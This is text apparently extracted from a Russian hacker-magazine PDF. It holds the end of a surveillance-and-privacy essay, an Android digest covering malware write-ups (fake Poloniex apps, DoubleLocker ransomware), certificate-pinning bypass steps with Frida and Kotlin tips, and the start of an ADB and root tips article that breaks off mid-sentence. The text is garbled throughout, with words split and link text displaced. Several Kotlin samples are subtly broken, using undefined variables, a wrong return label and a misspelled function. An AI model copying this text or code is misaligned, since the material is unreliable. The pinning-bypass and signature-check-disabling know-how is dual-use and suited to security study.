Дру гой потен циаль ный источник пов семес тной слеж ки — это сами люди.
Вот крат кая исто рия этой тех нологии:

вер сия 1.0 — ста руш ки у подъ езда, которые всё про всех зна ют;•
вер сия  2.0  —  про хожие,  которые  чуть  что  вых ватыва ют  из  кар манов
телефо ны, фотог рафиру ют и пос тят в соц сети;

•

вер сия 3.0 — пос тоян но вклю чен ные камеры на голове у каж дого.•

Ав томобиль ные  виде оре гис тра торы,  кста ти,  —  это  уже  где‐то  2.5.
Как говорит ся, «вы находи тесь здесь».

По воды нацепить на голову камеру могут быть раз ные — нап ример, стри‐ 
мить  в  Periscope  или  Twitch,  поль зовать ся  при ложе ниями  с  допол ненной
реаль ностью  или  прос то  записы вать  все  про исхо дящее,  что бы  иметь  циф‐ 
ровую  копию,  к  которой  мож но  в  любой  момент  обра тить ся  за  вос помина‐ 
нием.  Пос леднее  при мене ние  называ ется  «лай флог гинг»,  я  о  нем  уже 

 в «Хакере» три года назад.
под‐ 

робно писал
Один из глав ных теоре тиков лай флог гинга — стар ший иссле дова тель Mi‐

crosoft  Research  Гор дон  Белл.  В  сво ей  пос ледней  кни ге  Your  Life  Uploaded
Белл рас сужда ет о раз ных аспектах жиз ни общес тва, где все име ют докумен‐ 
таль ные сви детель ства все го про изо шед шего. Белл счи тает, что это хорошо:
не  будет  прес тупле ний,  не  будет  невин но  наказан ных,  а  люди  смо гут  поль‐ 
зовать ся свер хна деж ной памятью машин.

А как же при ват ность? Мож но ли в мире будуще го сде лать что‐то втай не
от дру гих? Белл счи тает, что сис тема дол жна быть пос тро ена таким обра зом,
что бы в любой момент мож но было исклю чить себя из общес твен ной памяти.
Нажима ешь вол шебную кно поч ку, и пра во смот реть запись с тобой оста нет‐ 
ся, к при меру, толь ко у полиции. Удоб но, прав да?

Вот  тут‐то  и  понима ешь  по‐нас тояще му,  где  закан чива ется  та  дорога,
на которую встал Facebook со сво ими теневы ми про филя ми. Если все будет
как сей час и люди про дол жат радос тно заг ружать свои дан ные, то вол шебная
кноп ка выпаде ния из общей памяти прос то ни на что не пов лияет. Ну исклю‐ 
чил ты себя, а интеллек туаль ный алго ритм тут же свя зал все обратно из кос‐ 
венных приз наков.

ЧТО ДЕЛАТЬ
…что бы  не  нас тупило  мрач ное  будущее,  от  которо го  вздрог нул  бы  даже
Джордж Ору элл?

Все  мы  дума ем,  что,  навер ное,  кто‐то  там  как‐то,  воз можно,  об  этом
позабо тит ся. Акти вис ты дол жны ска зать «нет», пра витель ства дол жны ввес ти
законы, исполни тель ная власть — прос ледить,  ну и  так далее. Увы, исто рии
извес тна мас са слу чаев, ког да эта схе ма нес лабо сбо ила.

Пра витель ствен ные ини циати вы дей стви тель но есть — смот ри, нап ример,
евро пей ский  GDPR —  общий  рег ламент  по  защите  дан ных.  Это  пос танов‐ 
ление регули рует сбор и хра нение лич ной информа ции, и с ним Facebook уже
не отде лает ся щадящим (с уче том гигант ских обо ротов) 

.  Отва ливать  при дет ся  уже  4%  от  выруч ки,  то  есть  как  минимум
мил лиард.

штра фом в 122 мил‐ 
лиона  евро

Пер вый  этап  GDPR  стар тует  25  мая  2018  года.  Тог да‐то  мы  и  узна ем,
какие у него побоч ные эффекты, какие обходные манев ры пос леду ют и удас‐ 
тся  ли  в  реаль нос ти  чего‐то  добить ся  от  тран сна циональ ных  кор пораций.
В Рос сии уже име ется не самый успешный опыт с законом «О пер сональ ных
дан ных». Харак терно, что его скром ные успе хи мало кого печалят («пусть луч‐ 
ше сле дят Цукер берг и Пей дж с Бри ном, чем товарищ пол ковник»).

Да  и  в  целом  есть  серь езные  подоз рения,  что  пра витель ства  хотят
не столь ко пре сечь слеж ку, сколь ко при ложить ся к ней, а в иде але — вер нуть
себе  монопо лию.  Так  что  гораз до  луч ше  было  бы,  нач ни  кор порации  сами
себя одер гивать и регули ровать. Увы, как мы видим на при мере «Фей сбу ка»,
некото рые из них работа ют в ров но про тиво полож ном нап равле нии.

Мо жем ли мы сде лать что‐то сами, кро ме как судорож но пытать ся 
,  ,    и    ? Я пред лагаю

начать с  глав ного — ста рать ся никог да не махать рукой и не  говорить:  «Ай,
все рав но все сле дят!» Не все рав но, не все и не с оди нако выми пос ледс тви‐ 
ями. Это важ но.

скрыть‐ 
ся за шиф ровать об фусци ровать по отклю чать все на све те
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Се год ня  в  выпус ке:  инс тру мен ты  ана лиза  и  деоб фуска ции,
раз бор  тро янов  и шиф роваль щиков, методы обхо да Certifi‐
cate Pinning, боль шой гайд по написа нию защищен ных при‐ 
ложе ний,  неоче вид ные  воз можнос ти  Kotlin  и  отличное  вве‐ 
дение  в  написа ние асин хрон ного  кода с  помощью  корутин.
А  так же:  две над цать  вещей,  которые  дол жен  знать  каж дый
начина ющий раз работ чик, и боль шой спи сок must have биб‐ 
лиотек.

ПРИЛОЖЕНИЯ

  —  подс тра ивает  яркость  экра на  под  текущее  изоб ражение.
Если  фон  запущен ного  при ложе ния  пре иму щес твен но  белый —  яркость
ста нет ниже, если тем ный — будет уве личе на.

• Underburn

 — модуль  ,  который поз воля ет под делывать  текущее
мес тополо жение, делать сним ки экра на во всех при ложе ниях (в том чис ле
в  бан ков ских  кли ентах  и  сек ретных  чатах  «Телег рама»)  и  отклю чает  про‐ 
вер ку циф ровой под писи пакетов. Пос леднее может при годить ся, если ты
хочешь  уста новить  модифи циро ван ную  вер сию  встро енно го  в  про шив ку
при ложе ния.

• Smali Patcher Magisk

  —  поз воля ет  быс тро  запус кать  при ложе ния  с  помощью
набора пер вых букв име ни.

• LaunchBoard

  —  откры тое  при ложе ние  для  iOS,  поз воля ющее  получить
пол ную исто рию переме щений смар тфо на с помощью ана лиза метадан‐ 
ных фотог рафий.

• detect.location

ИНСТРУМЕНТЫ

 —  онлайн‐дизас сем блер,  под держи вающий  более  сот ни  плат форм
и фор матов фай лов.

• ODA

 — ути лита для извле чения и деком пиляции фай лов фор мата
Vdex,  который  с  Android  8  исполь зует ся  для  хра нения  байт‐кода  пре дус‐ 
танов ленных при ложе ний.

• vdexExtractor

 — образ вир туаль ной машины с набором инс тру мен тов для пен‐ 
тестин га.  Вклю чает  в  себя Radare2,  Frida,  Bytecode  Viewer,  Apktool, Wire‐
shark и мно жес тво дру гих ути лит. Осно ван на Ubuntu Mate 17.04.

• Androl4b

 —  инс тру мент  для  выяс нения  точ ного  мес тополо жения
песоч ницы при ложе ния в iOS.

• SandBox‐Dumper

ПОЧИТАТЬ

Фей ковые кли енты Poloniex в Google Play
 — рас сказ  о  двух  злов редах

в Google Play, мас киру ющих ся под кли ент Poloniex.
Fake cryptocurrency  trading apps on Google Play

В целом все дос таточ но прос то. При ложе ние зап рашива ет логин и пароль
от  Poloniex,  затем  выводит фей ковое  окно  с  прось бой  ввес ти  логин/пароль
Gmail  яко бы  для  про хож дения  двух фактор ной  аутен тифика ции.  Пос ле  это го
начина ется слив средств на сто рону, а все уве дом ления от Poloniex на email
глу шат ся бла года ря дос тупу к Gmail  (разуме ется, если поч та на дру гом сер‐ 
висе, трюк не сра бота ет).

За щитить ся от злов реда, как всег да, нес ложно:
1. Не уста нав ливать что попало на смар тфон.
2. Всег да и вез де вклю чать двух фактор ную аутен тифика цию.

Шиф роваль щик, бло киру ющий смар тфон
  —  раз бор  шиф роваль щика,

который  не  толь ко  шиф рует  дан ные,  но  еще  и  бло киру ет  смар тфон  PIN‐
кодом.  ESET  заяв ляют,  что  это  пер вый  злов ред  такого  типа,  но,  учи тывая
прос тоту идеи и ее реали зации, веришь в это с тру дом.

DoubleLocker:  Innovative  Android  Ransomware

DoubleLocker  рас простра няет ся  через  раз личные  (в  том  чис ле  взло ман‐ 
ные)  сай ты  под  име нем  Adobe  Flash  Player.  Сра зу  пос ле  запус ка  он  про сит
поль зовате ля дать дос туп к фун кци ям Accessibility. Затем он меня ет уста нов‐ 
ленный поль зовате лем PIN‐код на слу чай ный и уста нав лива ет себя в качес тве
дефол тового лаун чера. Пос леднее дей ствие нуж но, что бы получать управле‐ 
ние каж дый раз, ког да поль зователь нажима ет кноп ку «Домой». Так же Double‐
Locker  шиф рует  все  фай лы  на  кар те  памяти  с  исполь зовани ем  алго рит ма
AES, добав ляя к ним рас ширение .cryeye.

Что бы  получить  дос туп  к  сво ему  смар тфо ну  и  дан ным  на  кар те  памяти,
юзер дол жен зап латить 0,0130 BTC. Пос ле это го фай лы будут рас шифро ваны,
а PIN‐код сбро шен.

Со обще ние, которое видит поль зователь

Об ход Certificate Pinning
 — статья

рас ска зыва ет о том, как перех ватывать и ана лизи ровать тра фик при ложе ний
для Android и при этом обой ти механизм Certificate Pinning, не поз воля ющий
под сунуть при ложе нию левый сер тификат. Крат кая выжим ка:

The Stony Path of Android Bug Bounty — Bypassing Certificate Pinning

1. Под клю чаем Android‐смар тфон к локаль ной сети.
2. В  нас трой ках  Android  ука зыва ем  в  качес тве  адре са  прок си‐сер вера  IP‐
адрес нашего ноут бука.

3. Ус танав лива ем  на  ноут бук  Burp  Suite,  экспор тиру ем  его  сер тификат
и импорти руем в Android.

4. Ус танав лива ем на смар тфон и ноут бук  .Frida
5. За пус каем подопыт ное при ложе ние под управле нием Frida.
6. Скар мли ваем Frida скрипт, который сооб щит при ложе нию, что сер тификат
под линный и все нор маль но.

Еще один спо соб обой ти Certificate Pinning — уста новить на смар тфон Xposed
и модуль  .SSLUnpinning

Де обфуска ция с помощью dex-oracle
  —  статья  о  деоб‐ 

фуска ции  злов редно го  при ложе ния  с  помощью  модифи циро ван ной  вер сии
.

Hacking  with  dex‐oracle  for  Android  Malware  Deobfuscation

dex‐oracle
Ав тор опи сыва ет исто рию раз бора злов реда, пов семес тно исполь зующе‐ 

го реф лексию для вызова методов, а так же метод скры тия строк indexed string
lookup. Суть  пос ледне го  зак люча ется  в  том,  что бы  зашиф ровать  все  стро ки
в при ложе нии, а затем получать дос туп к ним с помощью спе циаль ной фун‐ 
кции, которая будет рас шифро вывать и воз вра щать стро ку с ука зан ным ID.

Что бы разоб рать ся в работе такого при ложе ния, необ ходимо рас шифро‐ 
вать все стро ки. А сде лать это мож но дву мя спо соба ми:
1. Про ана лизи ровать  код  дешиф ратора  (который  навер няка  силь но
обфусци рован и запутан).

2. За пус тить код дешиф ратора извне.

Ис поль зовать  вто рой  спо соб  мож но,  соз дав  при ложе ние‐обер тку,  которое
заг рузит DEX‐файл злов редно го при ложе ния во вре мя работы и вызовет его
методы с помощью реф лексии.

Но есть еще один спо соб — деоб фуска тор dex‐oracle, который запус кает
код в вир туаль ной машине и выда ет на выходе деоб фусци рован ный код (где
те же обра щения к фун кции дешиф ровки строк замене ны на нас тоящие стро‐ 
ки).

Проб лема  авто ра  сос тояла  в  том,  что  dex‐oracle  ему  не  помог.  Поэто му
полови на статьи пос вящена тому, как работа ет dex‐oracle и как его модифи‐ 
циро вать, что бы научить нуж ным трю кам.

До деоб фуска ции...

...и пос ле

РАЗРАБОТКА

Боль шой гайд по раз работ ке защищен ных при ложе ний
 — 102‐стра нич ный документ  ком‐ 

пании NowSecure о раз работ ке защищен ных мобиль ных при ложе ний.
Secure Mobile Development. Best practices

Гайд (хотя ско рее это сбор ник объ ясне ний неоче вид ных вещей) вклю чает
в себя огромное количес тво информа ции:

воз можные век торы атак на смар тфо ны;•
со веты  по  обфуска ции  и  запуты ванию  кода  (пос леднее  —  спор ный
момент);

•

про вер ка сто рон них биб лиотек;•
ис поль зование тех ник защиты от перепа ков ки при ложе ния;•
бе зопас ное хра нение и уда ление информа ции;•
за щита интернет‐соеди нений;•
за щита при ват ных дан ных поль зовате ля;•
шиф рование;•
дру гие кей сы.•

Под водные кам ни Kotlin
 — гайд по обхо ду под водных кам ней Kotlin.

Нес коль ко инте рес ных момен тов:
Kotlin pitfalls and how to avoid them

1. По воз можнос ти избе гай исполь зования клю чево го сло ва it:

// Не очень хорошо
list.forEach {
    it.split(".").forEach {
        println(it)
    }
}
// Хорошо
list.forEach { item ‐>
    item.split(".").forEach { part ‐>
        println(part)
    }
}

2. Ме тод   data‐клас сов не про изво дит пол ное  копиро вание объ екта.
Вмес то это го он копиру ет толь ко ссыл ки на содер жащи еся в объ екте дан‐ 
ные. Это может при вес ти к тому, что при изме нении дан ных в одном объ‐ 
екте эти же дан ные будут изме нены в объ ектах‐копи ях.

copy()

3. Фун кции‐рас ширения очень  удоб ны,  но они могут  зат руднить понима ние
кода  дру гими  людь ми.  Нап ример,  ты  можешь  добавить  рас ширение
к  клас су  String,  исполь зовать  его  по  все му  коду,  а  чита ющий  твой  код
человек будет недо уме вать, отку да взял ся этот метод.

Ин фик сные фун кции в Kotlin
 — статья об инфик сных фун кци ях (infix

function) в Kotlin, с помощью которых мож но сде лать такое:
Kotlin iterate through everyday in this year

for (everyday in this year 2017) {
    // ...
}

Ин фик сные  фун кции —  это  методы,  для  которых  не  обя затель но  ука зывать
имя объ екта и скоб ки. В при веден ном выше коде   — это инфик сная фун‐ 
кция, которая явля ется методом текуще го клас са и при нима ет аргу мент типа
Int. Если бы это была обыч ная фун кция, код выг лядел бы так:

year

for (everyday in this.year(2017) {
   // ...
}

Для опре деле ния инфик сных фун кций пред назна чено клю чевое сло во  :infix

private infix fun year(year: Int)

С  помощью  таких  фун кций  код  мож но  сде лать  более  прос тым  для  чте ния,
а так же соз давать DSL —узкоспе циали зиро ван ные язы ки внут ри язы ка Kotlin.
С дру гой сто роны, при чрез мерном и неп равиль ном упот ребле нии они могут
стать при чиной усложне ния и запуты вания кода.

Вве дение в корути ны Kotlin
 — хорошее вве дение в Kotlin coroutines, осо‐ 

бую сущ ность в язы ке Kotlin, которую мож но одновре мен но наз вать «засыпа‐ 
ющи ми фун кци ями» и «лег ковес ными потока ми».

Diving deep into Kotlin Coroutines

Ко рути ны поз воля ют писать асин хрон ный код с исполь зовани ем зна комо‐ 
го раз работ чикам Python/C# механиз ма async/await либо реали зовать неч то
подоб ное  асин хрон ной  модели  язы ка  Go  с  его  канала ми.  В  любом  слу чае
корути ны  дела ют  код  гораз до  более  понят ным  и  прос тым  для  написа ния
и чте ния.

В  статье  автор  при водит  в  при мер  реали зацию  одно го  и  того  же  кода
с  помощью  кол бэков,  реак тивно го  под хода  (RxJava)  и  корутин.  Затем  дает
под робное  вве дение  в  корути ны,  прин ципы  их  работы  и  показы вает,
как писать асин хрон ный код с их помощью.

Не оче вид ные воз можнос ти Kotlin
 —  статья  о  не  сов сем оче вид ных

воз можнос тях Kotlin и спо собах их при мене ния. Крат кое содер жание:
Demystifying Advanced Kotlin Concepts Pt.1

1. Вло жен ные фун кции. Kotlin поз воля ет объ явить фун кцию внут ри фун кции.
При чем  вло жен ная фун кция  будет  иметь  дос туп  к  перемен ным  внеш ней.
Бла года ря это му мож но соз давать пере исполь зуемые бло ки кода, не зах‐ 
ламляя прос транс тво имен клас са.

fun OuterFunction(param:Int) {
    val outerVar = 11
    fun localFunction(){
        println(params)
        println(outerVar)
    }
}

2. Ин фик сные фун кции. О них выше.

infix fun String.extensionFunction(x: Int): Int {
    ...
}
val str = "hello"
str extensionFunction 2

3. Ано ним ные фун кции. Это  поч ти  то же,  что  и  лям бда,  но  с  воз можностью
воз вра щать раз личные зна чения:

fun op(x:Int, op:(Int) ‐> Int): Int {
    return op(x)
}
// Лямбда
op(3, {it * it})
// Анонимная функция
op(3, fun(x): Int {
    if(x > 10) return 0
    else return x * x
})

4. Ин лай нинг  фун кций.  При  исполь зовании  фун кций  выс шего  поряд ка  (тех,
что могут при нимать дру гую фун кцию как аргу мент) Kotlin генери рует ано‐ 
ним ный  класс для  каж дой передан ной фун кции‐аргу мен та. Это при водит
к  овер хеду,  которо го мож но  избе жать,  если  объ являть фун кции  выс шего
поряд ка с клю чевым сло вом  inline. В этом слу чае ком пилятор не вызовет
фун кцию, а прос то вста вит ее код в мес то вызова.

inline fun op(op: () ‐> Unit){
    println("This is before lambda")
    op()
    println("this is after lambda")
}
fun main(args: Array<String>) {
    op({println("this is the actual function")})
}

5. Воз врат из лям бды. Клю чевое сло во  , исполь зован ное внут ри лям‐ 
бды, вер нет управле ние не из самой лям бды, а из внеш ней фун кции. Что‐ 
бы это го избе жать, сле дует исполь зовать мет ки:

return

fun ContainingFunction() {
    val nums = 1..100
    numbers.forEach {
        if(it % 5 == 0) {
            return@ForEach
        }
    }
    println("Hello!")
}

6. Лям бды‐рас ширения.  В  Kotlin  есть  кон цепция  фун кций‐рас ширений:
к любому клас су в любой момент вре мени мож но добавить метод, который
будет иметь дос туп  к прос транс тву имен клас са. Такими фун кци ями‐рас‐ 
ширени ями  так же  могут  быть  лям бды.  Это  поз воля ет  соз давать  DSL,
о которых мы уже говори ли выше.  .При мер

// Лямбда
f:() ‐> Unit
// Лямбда‐расширение
f:SomeFunctionOrClass.() ‐> Unit

7. Вы зов инстан сов клас са. Kotlin поз воля ет вызывать объ ект клас са как фун‐ 
кцию. Все, что нуж но, — добавить в код клас са метод invoke().

class Manager {
    operator fun invoke(value:String) {
        prinln(value)
    }
}
...
val manager = Manager()
...
manager("Hello, world!")

Как умень шить раз мер APK на 99,99%
 ( ) — весь ма любопыт ная статья о том, до какой сте‐ 

пени мож но сок ратить раз мер APK‐фай ла, если очень силь но захотеть. Инте‐ 
рес ные фак ты:

Playing APK Golf пе ревод

Да же  «пус тое»  при ложе ние  для  Android  8  весит  1,5  Мбайт,  пятую  часть
из которых занима ют стан дар тные икон ки и ресур сы, а поч ти мегабайт —
код (classes.dex).

•

Classes.dex  вклю чает  в  себя  более  13  тысяч  методов  из  support‐биб‐ 
лиотек, в том чис ле AppCompatActivity и ConstraintLayout. Все эти support‐
биб лиоте ки  нуж ны,  что бы  при ложе ние  кор рек тно  работа ло  не  толь ко
в новых вер сиях Android, но и во всех под держи ваемых.

•

Android  абсо лют но  без различ но,  уме ет  ли  при ложе ние  что‐либо  делать
и есть ли в нем какой‐то код вооб ще.

•

Ми нималь но  воз можный  раз мер  APK,  который  уда лось  получить,  —
1757  байт.  Это  пус тое  при ложе ние  без  кода,  которое  не  уме ет  ничего
делать и которое нель зя запус тить.

•

При  учас тии  сооб щес тва  раз мер  APK  уда лось  умень шить  до  678  байт. 
.

Ре‐ 
пози торий на GitHub

Шпар галка перебеж чика с Java
 — дос таточ но боль шая шпар галка для тех, кто перехо дит

на Kotlin. Нес коль ко при меров:
From Java  to Kotlin

1. Про вер ка на null:

// Java
if (text != null) {
  int length = text.length();
}
// Kotlin
val length = text?.length

2. Мно гос троч ный текст:

// Java
String text = "First Line\n" +
              "Second Line\n" +
              "Third Line";
// Kotlin
val text = """
        |First Line
        |Second Line
        |Third Line
        """.trimMargin()

3. Ди апа зоны:

// Java
if (score >= 0 && score <= 300) { }
// Kotlin
if (score in 0..300) { }

4. Пар ные зна чения:

// Java
String[] splits = "param=car".split("=");
String param = splits[0];
String value = splits[1];
// Kotlin
val (param, value) = "param=car".split("=")

5. Фун кции:

// Java
int getScore(int value) {
    return 2 * value;
}
// Kotlin
fun getScore(value: Int) = 2 * value

Биб лиоте ки, которые дол жен исполь зовать каж дый раз работ чик
 — спи сок биб лиотек,  которые  автор

при зыва ет исполь зовать в любом про екте:
Awesome Android Open Source Libraries

 — мощ ная биб лиоте ка для показа изоб ражений;• Fresco
 —  биб лиоте ка  для  управле ния  меди аин форма цией,  вклю чая  изоб‐ 

ражения, GIF‐ани мации и виде офрагмен ты;
• Glide

 — луч ший HTTP‐кли ент для Android и Java;• OkHttp
 — обер тка над OkHttp;• Fast Android Networking

 — фрей мворк для реак тивно го прог рамми рова ния;• RxJava
 — шина событий,  упро щающая  ком муника цию меж ду активнос‐ 

тями, фраг мента ми, потока ми, сер висами и дру гими сущ ностя ми;
• EventBus

 —  путем  ана лиза  начин ки  смар тфо на  воз вра щает  год,
в  котором  такая  начин ка  была  топовой;  эту  информа цию мож но  исполь‐ 
зовать, что бы отклю чать те или иные тяжело вес ные воз можнос ти при ложе‐ 
ния;

• Device  Year  Class

  —  поз воля ет  выяс нить  качес тво  текуще го
интернет‐соеди нения;

• Network  Connection  Class

 — биб лиоте ка для отладки БД и нас тро ек;• Android Debug Database
 — биб лиоте ка для обна руже ния уте чек памяти;• LeakCanary

 — биб лиоте ка для пос тро ения гра фиков и диаг рамм;• MPAndroidChart
  —  биб лиоте ка  бин динга  эле мен тов  интерфей са,  поз воля ет

сэконо мить вре мя, не печатая каж дый раз  ;
• Butter  Knife

findViewById(R.id.view)

 — луч шая биб лиоте ка для dependency injection;• Dagger
 — ORM‐биб лиоте ка для SQLite;• GreenDAO

 — быс трая аль тер натива SQLite;• Realm
 — удоб ная биб лиоте ка лог гинга;• Timber
 — биб лиоте ка для авто мати чес кого логиро вания вызовов методов;• Hugo

  —  наложе ние  филь тров  на  изоб ражение  средс тва ми
GPU;

• Android  GPUImage

 — более прод винутая аль тер натива MediaPlayer API;• ExoPlayer
 — биб лиоте ка сери али зации/десери али зации, спо соб ная кон верти‐ 

ровать Java‐объ екты в JSON и обратно.
• Gson

12 вещей, которые дол жен усво ить любой начина ющий раз работ -
чик

 — автор
рас ска зыва ет о том, что в пер вую оче редь сле дует осво ить начина юще му An‐
droid‐раз работ чику. Мак сималь но крат кое содер жание статьи:

12 Practices every Android Development Beginner should know — Part 1

1. @+id  и  @id  в  XML‐лай отах  —  раз ные  вещи,  @+id  соз дает  новый  иден‐ 
тифика тор, @id ссы лает ся на сущес тву ющий.

2. Что бы сос лать ся на стро ку из XML, исполь зуй @string/имя_стро ки.
3. Ис поль зуй  уже  сущес тву ющие  в  Android  кон стан ты,  нап ример
@android:color/white — белый цвет, ?attr/actionBarSize — стан дар тный раз‐ 
мер ActionBar’а.

4. SP для тек ста, DP — для все го осталь ного.
5. Ка талог  mipmap  внут ри  при ложе ния  исполь зует ся  толь ко  для  хра нения
ико нок, каталог drawable — для всех осталь ных изоб ражений.

6. Ис поль зуй век торные икон ки (vector drawable), они могут мас шта биро вать‐ 
ся до любых раз меров, их лег ко ани миро вать.

7. Ис поль зуя marginStart/End и paddingStart/End, не забывай про ста рые вер‐ 
сии  Android  (4.2  и  ниже),  где  необ ходимо  при менять  marginLeft/Right
и paddingLeft/Right.

8. Вмес то  того  что бы  самому  писать  гет теры  и  сет теры  (setVar(),  getVar()
и подоб ные), исполь зуй воз можнос ти Android Studio: Code → Generate →
Getter and Setter.

9. Что бы  узнать,  какие  методы  необ ходимо  пере опре делить  в  клас се,  поз‐ 
воль Android Studio сге нери ровать эти методы за тебя: Code → Generate
→ Override Methods / Implement Methods.

10. Изу чи,  что  такое  Context,  что  он  собой  оли цет воря ет  и  как  его  исполь‐ 
зовать.  .Хо рошее вве дение

11. Ис поль зуй  Ctrl  +  Alt  +  L,  что бы  перефор матиро вать  код  (авто мати чес ки
рас ста вить отсту пы).

12. Не полагай ся все цело на сто рон ние биб лиоте ки, но и не изоб ретай свои
биб лиоте ки на каж дый чих.

Биб лиоте ки
  —  биб лиоте ка,  добав ляющая  длин ную  тень  любому  View

на экра не;
• LongShadow

  —  лай от,  который  может  рас тягивать ся  и  менять  фор му
при необ ходимос ти (нап ример, кноп ка, которая прев раща ется в меню);

• ScalingLayout

  —  биб лиоте ка  для  акку рат ного  выреза ния  докумен та
из фотог рафии. Может най ти на фото документ, визит ку, кре дит ную кар ту
и дру гие подоб ные объ екты, обре зать лиш нее и раз вернуть объ ект к зри‐ 
телю;

• SmartCropper

 — вер тикаль ный степ пер, мож но исполь зовать, что бы
зас тавить поль зовате ля выпол нить пошаго вые дей ствия;

• MaterialStepperView

 — прос той dependency injection framework для Kotlin (ана лог Dagger);• KOIN
 — круг лый SeekBar  (в  сти ле регуля тора  гром кости  в музыкаль ном

цен тре);
• Croller

  —  фрей мворк  и  набор  инс тру мен тов  для  соз дания  кросс‐плат‐ 
формен ных мобиль ных при ложе ний на язы ке Go.

• Matcha

INFO

Об  инте рес ных  стать ях,  инс тру мен тах  и  биб‐ 
лиоте ках  я  так же  рас ска зываю  в  сво ем 

. Под писывай ся.
те лег‐ 

рам‐канале
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Мно гие  годы мы рас ска зыва ли  про  самые раз ные  спо собы
опти мизи ровать, модифи циро вать и  тви кать Android. За это
вре мя у нас накопи лось огромное количес тво советов на все
слу чаи  жиз ни,  и  мы  готовы  пред ста вить  тебе  луч шие
из  них  —  начиная  с  инс трук ций  по  сме не  MAC‐адре са
и управле ния смар тфо ном с раз битым экра ном и закан чивая
про кач кой кли ента YouTube авто мати заци ей Android.

ADB
Нач нем с ADB (Android Debug Bridge), стан дар тно го инс тру мен та для отладки
и работы с кон солью Android с ком па. Что бы акти виро вать ADB, обыч но дос‐ 
таточ но вклю чить его в «Опци ях для раз работ чиков» на смар тфо не, а на комп
уста новить  .уни вер саль ный драй вер

Пе реме щаем фай лы с устрой ства / на устрой ство
Од на из самых  удоб ных фун кций ADB — это воз можность быс тро перемес‐ 
тить файл на устрой ство или ска чать его на комп. Для копиро вания на устрой‐ 
ство исполь зуем такую коман ду:

$ adb push файл /sdcard/

Об ратная опе рация:

$ adb pull /sdcard/файл файл

Соз даем скрин шот и записы ваем видео с экра на смар та
С помощью ADB лег ко сде лать скрин шот:

$ adb shell screencap /sdcard/screen.png

Что бы вытащить скрин шот с устрой ства, исполь зуй коман ду   из пре дыду‐ 
щего при мера:

pull

$ adb pull /sdcard/screen.png screen.png

Кро ме скрин шота, мож но записать скрин каст:

$ adb shell screenrecord ‐‐size 1280x720 ‐‐bit‐rate 6000000 
‐‐time‐limit 20 ‐‐verbose /sdcard/video.mp4

Эта  коман да  нач нет  записы вать  видео  с  раз решени ем  1280×720  (если
не ука зать, то будет исполь зовано натив ное раз решение экра на устрой ства),
с  бит рей том  6  Мбит/с,  дли ной  20  с  (если  не  ука зать,  то  будет  выс тавле но
мак сималь ное  зна чение  180  с),  с  показом  логов  в  кон соли.  Записан ное
видео появит ся на кар те памяти под наз вани ем  . Прер вать запись
мож но, нажав Ctrl + C.

video.mp4

Ба тарей ка в про цен тах
Не во всех про шив ках есть фун кция отоб ражения про цен тов батареи на знач‐ 
ке в штор ке. В этом слу чае вклю чить отоб ражение мож но с помощью одной
коман ды:

$ adb shell content insert ‐‐uri content://settings/system ‐‐bind 
name:s:status_bar_show_battery_percent ‐‐bind value:i:1

Уп равле ние смар тфо ном с раз битым экра ном
Ес ли  пос ле  падения  у  телефо на  не  работа ет  тач,  минималь ную  работос‐ 
пособ ность все еще мож но обес печить  через ADB,  хотя бы для  того,  что бы
сде лать бэкап. Для это го сущес тву ет коман да  :input

$ adb shell input [<ИСТОЧНИК>] <КОМАНДА> [<АРГУМЕНТЫ>…]

В  качес тве  источни ка  мож но  ука зывать  trackball,  joystick,  touchnavigation,
mouse,  keyboard,  gamepad,  touchpad,  dpad,  stylus,  touchscreen.  В  качес тве
коман ды:
• text <string> (Default: touchscreen) [delay]

• keyevent  [–longpress]  <key  code  number  or  name>  …  (De

fault: keyboard)

• tap <x> <y> (Default: touchscreen)

• swipe  <x1>  <y1>  <x2>  <y2>  [duration(ms)]  (Default: 

touchscreen)

• press (Default: trackball)

• roll <dx> <dy> (Default: trackball)

Как вид но, мы можем эму лиро вать нажатия и свай пы с помощью команд 
  и  .  Нап ример,  вытянуть  штор ку  с  уве дом лени ями

мож но так (отсчет коор динат идет от левого вер хне го угла):

in‐
put  touch input  swipe

$ input swipe 10 10 10 1000

А так мож но узнать раз решение экра на,  что бы подоб рать собс твен ные зна‐ 
чения:

$ dumpsys window | \sed ‐n '/mUnrestrictedScreen/ s/^.*) \([0‐9][0‐9]
*\)x\([0‐9][0‐9]*\)/\1 \2/p'

Для  Nexus  5  раз решение  будет  1080×1920.  В  этом  слу чае,  что бы  нажать
на  кноп ку  «Меню  при ложе ний»  стан дар тно го  гуг лов ско го  лаун чера,  которая
находит ся над кноп кой «Домой», сле дует выпол нить такую коман ду:

$ input touchscreen tap 500 1775

Мож но эму лиро вать нажатие кноп ки питания, если она отка зала:

$ adb shell input keyevent 82

Ну а вста вить текст в текущее поле — с помощью коман ды

$ adb shell input text "Необходимый текст"

ROOT
Те перь  о  пра вах  root.  С  их  помощью  мож но  сде лать  огромное  количес тво
полез ных вещей. Погово рим о некото рых из них.

Бло киру ем рек ламу
Для  Android  сущес тву ет  мно жес тво  раз личных  бло киров щиков  рек ламы,
не тре бующих прав root. Одна ко у них всех, вклю чая зна мени тый AdBlock, есть
одна боль шая проб лема — они соз дают локаль ный VPN‐тун нель. Это зна чит,
что,  акти виро вав  AdBlock,  ты,  во‐пер вых,  не  смо жешь  исполь зовать  VPN,
во‐вто рых, неред ко будешь стал кивать ся с проб лемами под клю чения.

Имея пра ва root, мож но уста новить более пра виль ный бло киров щик, нап‐ 
ример  . Он бло киру ет рек ламные хос ты на уров не сис темно го резол‐ 
вера имен (исполь зуя   в качес тве чер ного спис ка), поэто‐ 
му  всег да  работа ет  абсо лют но  кор рек тно,  не  висит  в  памяти  и  не  жрет
батарею.

AdAway
/system/etc/hosts

От клю чаем звук зат вора камеры
При наличии прав root звук зат вора мож но отклю чить. Дос таточ но уста новить
любой фай ловый менед жер с  под дер жкой  root,  перей ти  в  каталог 

  и  уда лить  два фай ла:    и 
.

/system/
media/audio/ui camera_click.ogg camera_focus.
ogg

Кста ти,  уров нем  выше  лежит  ,  который  отве чает
за ани мацию заг рузки. Его мож но уда лить  (тог да при заг рузке будет прос то
чер ный экран) или поменять на дру гой.

bootanimation.zip

Тви ки build.prop
Файл   хра нит сис темные нас трой ки Android. Это кон фиг
всех кон фигов, и с его помощью мож но сде лать огромное количес тво инте‐ 
рес ных  вещей.  Дос таточ но  впи сать  в  конец  фай ла  стро ку  с  име нем  опции
и зна чени ем через знак рав но:

/system/build.prop

  —  хра нит  наз вание  устрой ства  (отоб ража ется
в меню «О телефо не»). Иног да поз воля ет обма нывать Play Store и ста вить
